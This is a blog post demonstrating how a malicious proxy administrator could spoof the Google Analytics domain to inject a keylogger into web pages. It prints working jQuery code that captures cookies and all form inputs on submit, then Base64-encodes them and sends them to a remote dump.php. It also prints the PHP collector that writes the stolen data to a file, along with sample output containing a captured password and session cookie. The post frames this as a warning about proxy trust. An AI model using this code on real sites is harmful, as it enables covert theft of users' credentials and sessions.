The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites. Internet companies offer so-called widgets, which are JavaScript tools that can be used in your own page. Popular examples of this are site analytics (Omniture, Google Analytics, etc) or share-abilities (AddThis, AddToAny, …). It’s by overwriting Javascript libraries on a page, that we can do other things, such as recording keystrokes.
“Overwriting” javascript libraries, or rather “inserting javascript” can be done in several ways. Cross Site Scripting is one of them, but for the sake of this blog post, I will act as a malicious proxy administrator, and overwrite the Google Analytics DNS entry (www.google-analytics.com) and “fake” the ga.js javascript file.
For this, you’d need only 2 files:
This javascript file, found here, holds 3 parts: JQuery, a base64 encoder and the keylogger code itself:
var t = "http://www.google-analytics.com/dump.php?a="; jQuery(document).ready(function(){ jQuery("form").submit(function(){ var o = {}; o.location = document.location.href; o.cookie = document.cookie; jQuery(":input").each(function(index){ o[jQuery(this).attr("name")]=jQuery(this).val() }); var u = t + Base64.encode(JSON.stringify(o)); jQuery.getScript(u); }); });
Upon a “form submit” event, the current URL, the current cookie and all the page <input> fields are stored in a JSON object. This is Base64 encoded and passed on to a defined URL (http://www.google-analytics.com/dump.php?a= in this above case).
The data is pushed, in a Base64 encoded JSON object to an external script; dump.php in my case. This script (here) stores the current date, and a dump of all passed on variables in a defined text file.
$obj = json_decode(base64_decode($_GET["a"])); $fileName = "dump.txt"; $f = fopen($fileName, 'a'); fwrite($f, "on ".date("d M y, h:i:s")."\n\n"); foreach($obj as $i=>$j){ fwrite($f, $i." : ".$j."\n"); } fwrite($f, "-----------------------------------------------------\n"); fclose($f);
Since it decodes a JSON object, dump.php will require JSON support, this can be installed using pear. Debian, it’s done using the following:
apt-get install php-pear pear install Services_JSON
To verify this, you will see a JSON entry in the phpinfo() output.
When all is setup correctly (virtual host, /etc/hosts file changes, correct permissions for the dump.txt file to be created), all <form> submits should be recorded in the text file, in the form of:
on 06 Jun 11, 07:28:06 location : http://7days.ae/ cookie : SESS13752b3ab7d6... name : user pass : secret1552 _empty_ : Password op : form_build_id : form-00db26143485eac73953183a0e4170b6 form_id : search_form search_theme_form : Search Keywords default_text :
No, this is no hack against Google Analytics or 7days, the latter is something that would look slightly different. 🙂
Although this example uses Google Analytics, it could be used for many other “popular” javascripts that are included in terms of widgets. The handy things about Google Analytics is that it’s invisible to the user whether it is loaded or not.
Using a proxy server, even a transparent one can have its risks, this post just illustrates one of them. Always make sure you can trust your proxy administrators.
Thank you,
Michael
PS: these scripts are far from perfect, they don’t trap XHR requests and many other things, but it gets the point across.
Leave a Reply